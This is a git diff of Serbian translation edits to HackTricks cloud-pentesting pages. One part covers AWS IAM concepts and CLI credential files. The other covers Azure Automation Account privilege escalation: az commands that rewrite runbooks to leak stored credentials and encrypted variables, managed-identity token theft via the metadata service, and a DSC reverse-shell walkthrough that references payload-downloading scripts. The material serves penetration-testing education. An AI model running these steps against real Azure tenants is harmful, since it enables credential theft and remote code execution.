uloge](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **uloga** je vrlo **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve kredencijale** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a. +IAM **uloga** je vrlo **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve akreditive** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a. IAM uloga se sastoji od **dvaju tipova politika**: **politika poverenja**, koja ne može biti prazna, definišući **ko može preuzeti** ulogu, i **politika dozvola**, koja ne može biti prazna, definišući **šta može pristupiti**. #### AWS Security Token Service (STS) -AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privremenih, ograničenih privilegija kredencijala**. Specijalno je prilagođen za: +AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privremenih, ograničenih privilegija akreditiva**. Posebno je prilagođen za: -### [Privremeni kredencijali u IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +### [Privremeni akreditivi u IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Privremeni kredencijali se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene kredencijale koji imaju ograničeniji skup dozvola nego vaš standardni IAM korisnik. Ovo **sprečava** vas da **slučajno izvršavate zadatke koji nisu dozvoljeni** od strane ograničenih kredencijala. Prednost privremenih kredencijala je što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su kredencijali validni. +**Privremeni akreditivi se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene akreditive koji imaju ograničeniji skup dozvola nego vaš standardni IAM korisnik. Ovo **sprečava** vas da **slučajno izvršavate zadatke koji nisu dozvoljeni** od strane ograničenih akreditiva. Prednost privremenih akreditiva je ta što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su akreditivi validni. ### Politike -#### Dozvole politika +#### Dozvole politike Koriste se za dodeljivanje dozvola. Postoje 2 tipa: @@ -171,7 +187,7 @@ Koriste se za dodeljivanje dozvola. Postoje 2 tipa: - Politike koje upravlja korisnik: Konfigurišete ih vi. Možete kreirati politike zasnovane na AWS upravljanim politikama (modifikujući jednu od njih i kreirajući svoju), koristeći generator politika (GUI prikaz koji vam pomaže u dodeljivanju i odbijanju dozvola) ili pišući svoje. Po **podrazumevanju, pristup** je **odbijen**, pristup će biti odobren ako je eksplicitna uloga navedena.\ -Ako **jedan "Deny" postoji, on će nadjačati "Allow"**, osim za zahteve koji koriste korenske sigurnosne kredencijale AWS naloga (koji su podrazumevano dozvoljeni). +Ako **jedan "Deny" postoji, on će nadjačati "Allow"**, osim za zahteve koji koriste korenske bezbednosne akreditive AWS naloga (koji su podrazumevano dozvoljeni). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -194,33 +210,33 @@ Ako **jedan "Deny" postoji, on će nadjačati "Allow"**, osim za zahteve koji ko ] } ``` -[Globalna polja koja se mogu koristiti za uslove u bilo kojoj usluzi su dokumentovana ovde](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -[Specifična polja koja se mogu koristiti za uslove po usluzi su dokumentovana ovde](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -#### Inline Politike +#### Inline Policies -Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika jer ih može koristiti bilo ko drugi.\ -Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onom za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno prikačene na pogrešan identitet. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta. +Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika kao što to može biti slučaj sa drugim politikama.\ +Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onog za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno povezane sa pogrešnim identitetom. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta. -#### Politike Resursnog Kante +#### Resource Bucket Policies Ovo su **politike** koje se mogu definisati u **resursima**. **Nisu svi resursi AWS-a podržavaju njih**. -Ako glavni entitet nema eksplicitnu zabranu na njih, a politika resursa im daje pristup, tada su dozvoljeni. +Ako glavni entitet nema eksplicitnu zabranu na njih, a politika resursa im omogućava pristup, tada su dozvoljeni. -### IAM Granice +### IAM Boundaries IAM granice se mogu koristiti za **ograničavanje dozvola kojima korisnik ili uloga treba da imaju pristup**. Na ovaj način, čak i ako se korisniku dodeli drugačiji skup dozvola putem **druge politike**, operacija će **neuspeti** ako pokuša da ih koristi. -Granica je samo politika prikačena za korisnika koja **ukazuje na maksimalni nivo dozvola koje korisnik ili uloga mogu imati**. Dakle, **čak i ako korisnik ima Administrator pristup**, ako granica ukazuje da može samo da čita S· kante, to je maksimum što može da uradi. +Granica je samo politika koja je povezana sa korisnikom i **ukazuje na maksimalni nivo dozvola koje korisnik ili uloga mogu imati**. Dakle, **čak i ako korisnik ima Administrator pristup**, ako granica ukazuje da može samo da čita S· kante, to je maksimum što može da uradi. -**Ovo**, **SCP-ovi** i **pridržavanje principa najmanjih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno. +**Ovo**, **SCPs** i **pridržavanje principa minimalnih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno. -### Politike Sesije +### Session Policies -Politika sesije je **politika postavljena kada se neka uloga preuzme** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one navedene u politici** (maksimalne dozvole su one koje uloga ima). +Politika sesije je **politika postavljena kada se neka uloga preuzme** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one koje su navedene u politici** (maksimalne dozvole su one koje uloga ima). -Ovo je korisno za **bezbednosne mere**: Kada administrator preuzima veoma privilegovanu ulogu, mogao bi da ograniči dozvolu samo na one navedene u politici sesije u slučaju da sesija bude kompromitovana. +Ovo je korisno za **bezbednosne mere**: Kada administrator preuzima veoma privilegovanu ulogu, može ograničiti dozvole samo na one navedene u politici sesije u slučaju da sesija bude kompromitovana. ```bash aws sts assume-role \ --role-arn \ @@ -232,90 +248,90 @@ Napomena da po defaultu **AWS može dodati politike sesije sesijama** koje će b Stoga, ako se u nekom trenutku suočite sa greškom "... jer nijedna politika sesije ne dozvoljava ...", a uloga ima pristup za izvršenje akcije, to je zato što **postoji politika sesije koja to sprečava**. -### Identitetna federacija +### Federacija identiteta -Identitetna federacija **omogućava korisnicima iz identitetskih provajdera koji su eksterni** za AWS da sigurno pristupaju AWS resursima bez potrebe da dostavljaju AWS korisničke akreditive iz važećeg IAM korisničkog naloga.\ -Primer identitetskog provajdera može biti vaša vlastita korporativna **Microsoft Active Directory** (putem **SAML**) ili **OpenID** usluga (kao što je **Google**). Federisani pristup će tada omogućiti korisnicima unutar njega da pristupaju AWS-u. +Federacija identiteta **omogućava korisnicima iz provajdera identiteta koji su eksterni** za AWS da sigurno pristupaju AWS resursima bez potrebe da dostavljaju AWS korisničke akreditive iz važećeg IAM korisničkog naloga.\ +Primer provajdera identiteta može biti vaš vlastiti korporativni **Microsoft Active Directory** (putem **SAML**) ili **OpenID** usluga (kao što je **Google**). Federisani pristup će tada omogućiti korisnicima unutar njega da pristupaju AWS-u. -Da bi se konfigurisalo ovo poverenje, generiše se **IAM identitetski provajder (SAML ili OAuth)** koji će **verovati** **drugoj platformi**. Zatim, najmanje jedna **IAM uloga se dodeljuje (verujuća) identitetskom provajderu**. Ako korisnik iz poverene platforme pristupi AWS-u, pristupaće kao pomenuta uloga. +Da biste konfigurisali ovo poverenje, generiše se **IAM provajder identiteta (SAML ili OAuth)** koji će **verovati** **drugoj platformi**. Zatim, najmanje jedna **IAM uloga se dodeljuje (verujući) provajderu identiteta**. Ako korisnik iz poverene platforme pristupi AWS-u, pristupaće kao pomenuta uloga. -Međutim, obično ćete želeti da dodelite **različitu ulogu u zavisnosti od grupe korisnika** na trećoj strani. Tada, nekoliko **IAM uloga može verovati** trećem identitetskom provajderu, a treća platforma će biti ta koja omogućava korisnicima da preuzmu jednu ili drugu ulogu. +Međutim, obično ćete želeti da dodelite **različitu ulogu u zavisnosti od grupe korisnika** na trećoj platformi. Tada, nekoliko **IAM uloga može verovati** trećem provajderu identiteta, a treća platforma će biti ta koja omogućava korisnicima da preuzmu jednu ili drugu ulogu.
-### IAM Identitetni Centar +### IAM Identity Center -AWS IAM Identitetni Centar (naslednik AWS Single Sign-On) proširuje mogućnosti AWS upravljanja identitetom i pristupom (IAM) kako bi pružio **centralno mesto** koje okuplja **administraciju korisnika i njihov pristup AWS** nalozima i cloud aplikacijama. +AWS IAM Identity Center (naslednik AWS Single Sign-On) proširuje mogućnosti AWS upravljanja identitetom i pristupom (IAM) kako bi pružio **centralno mesto** koje okuplja **administraciju korisnika i njihov pristup AWS** nalozima i cloud aplikacijama. Domen za prijavu će biti nešto poput `.awsapps.com`. -Da bi se prijavili korisnici, postoje 3 izvora identiteta koji se mogu koristiti: +Da bi se prijavili korisnici, mogu se koristiti 3 izvora identiteta: -- Identitetni Centar Direktorijum: Redovni AWS korisnici +- Identity Center Directory: Redovni AWS korisnici - Active Directory: Podržava različite konektore -- Eksterni identitetski provajder: Svi korisnici i grupe dolaze iz eksternog identitetskog provajdera (IdP) +- Eksterni provajder identiteta: Svi korisnici i grupe dolaze iz eksternog provajdera identiteta (IdP)
-U najjednostavnijem slučaju direktorijuma Identitetnog Centra, **Identitetni Centar će imati listu korisnika i grupa** i moći će da **dodeli politike** njima za **bilo koji od naloga** organizacije. +U najjednostavnijem slučaju direktorijuma Identity Center, **Identity Center će imati listu korisnika i grupa** i moći će da **dodeli politike** njima za **bilo koji od naloga** organizacije. -Da bi se omogućio pristup korisniku/grupi Identitetnog Centra do naloga, **SAML identitetski provajder koji veruje Identitetnom Centru će biti kreiran**, a **uloga koja veruje identitetskom provajderu sa navedenim politikama će biti kreirana** u odredišnom nalogu. +Da biste omogućili pristup korisniku/grupi Identity Center-a do naloga, biće kreiran **SAML provajder identiteta koji veruje Identity Center-u**, a **uloga koja veruje provajderu identiteta sa navedenim politikama biće kreirana** u odredišnom nalogu. #### AwsSSOInlinePolicy -Moguće je **dati dozvole putem inline politika rolama kreiranim putem IAM Identitetnog Centra**. Uloge kreirane u nalozima koje dobijaju **inline politike u AWS Identitetnom Centru** će imati ove dozvole u inline politici pod nazivom **`AwsSSOInlinePolicy`**. +Moguće je **dati dozvole putem inline politika rolama kreiranim putem IAM Identity Center**. Uloge kreirane u nalozima koje dobijaju **inline politike u AWS Identity Center** će imati ove dozvole u inline politici pod nazivom **`AwsSSOInlinePolicy`**. Stoga, čak i ako vidite 2 uloge sa inline politikom pod nazivom **`AwsSSOInlinePolicy`**, to **ne znači da imaju iste dozvole**. ### Cross Account Trusts and Roles -**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim, **dozvoliti drugom korisniku** (pouzdanom) da **pristupi njegovom nalogu** ali samo **imajući pristup naveden u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između AWS naloga koje posedujete nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\ -Preporučuje se da **precizirate korisnika koji je pouzdan i ne stavljate neku generičku stvar** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje. +**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim, **dozvoliti drugom korisniku** (pouzdano) da **pristupi njegovom nalogu** ali samo **imajući pristup naveden u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između naloga nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\ +Preporučuje se da **specificirate korisnika koji je poveren i ne stavljate nešto generičko** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje. ### AWS Simple AD Nije podržano: - Odnos poverenja -- AD Admin Centar +- AD Admin Center - Puna PS API podrška - AD Recycle Bin - Grupa upravljanih servisnih naloga - Ekstenzije šeme -- Nema direktan pristup OS-u ili instancama +- Nema direktnog pristupa OS-u ili instancama -#### Web Federacija ili OpenID Autentifikacija +#### Web Federation or OpenID Authentication Aplikacija koristi AssumeRoleWithWebIdentity za kreiranje privremenih akreditiva. Međutim, ovo ne omogućava pristup AWS konzoli, samo pristup resursima unutar AWS-a. -### Ostale IAM opcije +### Other IAM options - Možete **postaviti podešavanje politike lozinke** kao što su minimalna dužina i zahtevi za lozinku. - Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i svaka **četiri sata**. -AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešenu kontrolu pristupa** širom celog AWS-a. Sa IAM-om, možete precizirati **ko može pristupiti kojim uslugama i resursima**, i pod kojim uslovima. Sa IAM politikama, upravljate dozvolama za vašu radnu snagu i sisteme kako biste **osigurali dozvole sa najmanjim privilegijama**. +AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešavanje kontrole pristupa** širom celog AWS-a. Sa IAM-om, možete specificirati **ko može pristupiti kojim uslugama i resursima**, i pod kojim uslovima. Sa IAM politikama, upravljate dozvolama za vašu radnu snagu i sisteme kako biste **osigurali dozvole sa najmanjim privilegijama**. -### IAM ID Prefiksi +### IAM ID Prefixes Na [**ovoj stranici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) možete pronaći **IAM ID prefikse** ključeva u zavisnosti od njihove prirode: -| Identifikator Kôd | Opis | +| Identifier Code | Description | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ABIA | [AWS STS servisni nosilac tokena](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | -| ACCA | Kontekstualni akreditiv | -| AGPA | Korisnička grupa | +| ACCA | Kontekst-specifični akreditiv | +| AGPA | Grupa korisnika | | AIDA | IAM korisnik | | AIPA | Amazon EC2 profil instance | -| AKIA | Ključ pristupa | +| AKIA | Pristupni ključ | | ANPA | Upravljana politika | | ANVA | Verzija u upravljanoj politici | | APKA | Javni ključ | | AROA | Uloga | | ASCA | Sertifikat | -| ASIA | [Privremeni (AWS STS) identifikatori ključeva za pristup](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) koriste ovaj prefiks, ali su jedinstveni samo u kombinaciji sa tajnim pristupnim ključem i tokenom sesije. | +| ASIA | [Privremeni (AWS STS) pristupni ključevi ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) koriste ovaj prefiks, ali su jedinstveni samo u kombinaciji sa tajnim pristupnim ključem i tokenom sesije. | -### Preporučene dozvole za reviziju naloga +### Recommended permissions to audit accounts Sledeće privilegije daju različit pristup metapodacima: @@ -328,12 +344,12 @@ Sledeće privilegije daju različit pristup metapodacima: - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## Razno +## Misc -### CLI Autentifikacija +### CLI Authentication -Da bi regularni korisnik autentifikovao na AWS putem CLI, potrebno je imati **lokalne akreditive**. Po defaultu, možete ih konfigurisati **ručno** u `~/.aws/credentials` ili **pokretanjem** `aws configure`.\ -U toj datoteci možete imati više od jednog profila, ako **nije specificiran profil** koristeći **aws cli**, koristiće se onaj pod nazivom **`[default]`** u toj datoteci.\ +Da bi regularni korisnik autentifikovao AWS putem CLI, potrebno je imati **lokalne akreditive**. Po defaultu, možete ih konfigurisati **ručno** u `~/.aws/credentials` ili **pokretanjem** `aws configure`.\ +U toj datoteci možete imati više od jednog profila, ako **nije specificiran profil** koristeći **aws cli**, koristiće se onaj nazvan **`[default]`** u toj datoteci.\ Primer datoteke akreditiva sa više od 1 profila: ``` [default] @@ -347,7 +363,7 @@ region = eu-west-2 ``` Ako treba da pristupite **različitim AWS nalozima** i vašem profilu je dato pravo da **pretpostavi ulogu unutar tih naloga**, ne morate ručno pozivati STS svaki put (`aws sts assume-role --role-arn --role-session-name sessname`) i konfigurisati akreditive. -Možete koristiti `~/.aws/config` datoteku da **naznačite koje uloge da pretpostavite** i zatim koristiti `--profile` parametar kao i obično (pretpostavljanje uloge će se izvršiti na transparentan način za korisnika).\ +Možete koristiti `~/.aws/config` datoteku da **naznačite koje uloge da pretpostavite** i zatim koristiti parametar `--profile` kao obično (pretpostavljanje uloge će se izvršiti na transparentan način za korisnika).\ Primer konfiguracione datoteke: ``` [profile acc2] @@ -368,5 +384,6 @@ Ako tražite nešto **slično** ovome, ali za **pregledač**, možete proveriti - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) +- [https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/](https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 60eb4e381..9cebdd958 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -4,7 +4,7 @@ ## Azure Automation Accounts -Za više informacija pogledajte: +Za više informacija proverite: {{#ref}} ../az-services/az-automation-accounts.md @@ -12,18 +12,29 @@ Za više informacija pogledajte: ### Hybrid Workers Group -Zapamtite da ako napadač može da izvrši proizvoljni runbook (proizvoljni kod) u hybrid worker-u, on će **preći na lokaciju VM-a**. To može biti lokalna mašina, VPC druge cloud platforme ili čak Azure VM. +- **Od Automation Account do VM** -Štaviše, ako hybrid worker radi u Azure-u sa drugim upravljanim identitetima, runbook će moći da pristupi **upravljanom identitetu runbook-a i svim upravljanim identitetima VM-a iz metadata servisa**. +Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljan kod) u hybrid worker-u, on će **preći na lokaciju VM-a**. Ovo može biti lokalna mašina, VPC druge cloud platforme ili čak Azure VM. + +Štaviše, ako hybrid worker radi u Azure-u sa drugim Managed Identities, runbook će moći da pristupi **managed identity runbook-a i svim managed identities VM-a iz metadata servisa**. > [!TIP] -> Zapamtite da **metadata servis** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token upravljanih identiteta automatskog naloga (**`IDENTITY_ENDPOINT`**). +> Zapamtite da **metadata servis** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token managed identities automation account-a (**`IDENTITY_ENDPOINT`**). + +- **Od VM do Automation Account** + +Štaviše, ako neko kompromituje VM na kojem se izvršava skripta automation account-a, on će moći da locira **Automation Account** metadata i pristupi mu sa VM-a kako bi dobio tokene za **Managed Identities** povezane sa Automation Account. + +Kao što se može videti na sledećoj slici, imajući Administrator pristup nad VM-om, moguće je pronaći u **environment variables procesa** URL i tajnu za pristup metadata servisu automation account-a: + +![]() + ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i pokretanje Runbook-a** u Automatskom Nalog koji možete koristiti za **izvršavanje koda** u kontekstu Automatskog Naloga i eskalaciju privilegija na dodeljene **Upravljane Identitete** i curenje **akreditiva** i **kriptovanih varijabli** koje su sačuvane u Automatskom Nalog. +Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i izvršavanje Runbooks** u Automation Account-u, što možete koristiti za **izvršavanje koda** u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene **Managed Identities** i curenje **akreditiva** i **kriptovanih varijabli** koje su pohranjene u Automation Account. -Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikovanje koda Runbook-a u Automatskom Nalog koristeći: +Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikaciju koda Runbook-a u Automation Account-u koristeći: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -36,7 +47,7 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Napomena kako se prethodni skript može koristiti za **curenje korisničkog imena i lozinke** akreditiva i vrednosti **kriptovane promenljive** smeštene u Automation Account. +Napomena kako se prethodni skript može koristiti za **curenje korisničkog imena i lozinke** kredencijala i vrednosti **kriptovane promenljive** smeštene u Automation Account. Dozvola **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** omogućava korisniku da objavi Runbook u Automation Account-u tako da se promene primene: ```bash @@ -53,18 +64,18 @@ az automation runbook start \ --name \ [--run-on ] ``` -Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita izlaz posla u Automation Account-u koristeći: +Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita izlaz posla u Automation Account koristeći: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Ako ne postoje kreirani Runbook-ovi, ili želite da kreirate novi, biće vam potrebne **dozvole `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da to uradite koristeći: +Ako nisu kreirani Runbook-ovi, ili želite da kreirate novi, biće vam potrebne **dozvole `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da to uradite koristeći: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Ova dozvola omogućava korisniku da **dodeli identitet koji upravlja korisnikom** Automatskom nalogu koristeći: +Ova dozvola omogućava korisniku da **dodeli korisnički upravljanu identitet** Automation Account-u koristeći: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -104,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti planera runbook-u koristeći: +Zatim, sa dozvolom **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler-u runbook koristeći: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -127,9 +138,9 @@ az rest --method PUT \ ### `Microsoft.Automation/automationAccounts/webhooks/write` -Sa dozvolom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account-a koristeći sledeću komandu. +Sa dozvolom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account koristeći sledeću komandu. -Napomena: Moraćete da **naznačite webhook URI** sa tokenom koji ćete koristiti. +Napomena da ćete morati da **naznačite webhook URI** sa tokenom koji ćete koristiti. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ @@ -194,7 +205,7 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a uz neke druge dozvole za pokretanje, bilo bi **moguće eskalirati privilegije**. +Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a sa nekim drugim dozvolama za pokretanje, bilo bi **moguće eskalirati privilegije**. Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljana identitet, klijentski ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. @@ -221,14 +232,14 @@ az rest --method PUT \ Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen. -### Kompromitovanje Konfiguracije Stanja +### Kompromitovanje State Konfiguracije **Proverite ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - Korak 1 — Kreiranje Fajlova **Potrebni Fajlovi:** Potrebna su dva PowerShell skripta: -1. `reverse_shell_config.ps1`: Fajl za Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +1. `reverse_shell_config.ps1`: Fajl Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). 2. `push_reverse_shell_config.ps1`: Skript za objavljivanje konfiguracije na VM, dostupan na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). **Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a. @@ -241,7 +252,7 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she ``` - Korak 3 — Postavi kontekst skladišta i otpremi -Zipped konfiguracioni fajl se otprema u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ov Set-AzStorageBlobContent cmdlet. +Zipped konfiguracioni fajl se otprema u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ovu Set-AzStorageBlobContent cmdlet. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` @@ -255,7 +266,7 @@ Skripta je uređena da specificira ciljni Windows VM i port za reverznu ljusku. - Korak 5 — Objavi Konfiguracioni Fajl -Konfiguracioni fajl se izvršava, što rezultira u tome da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u. +Konfiguracioni fajl se izvršava, što rezultira time da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u. - Korak 6 — Hostuj Payload i Postavi Listener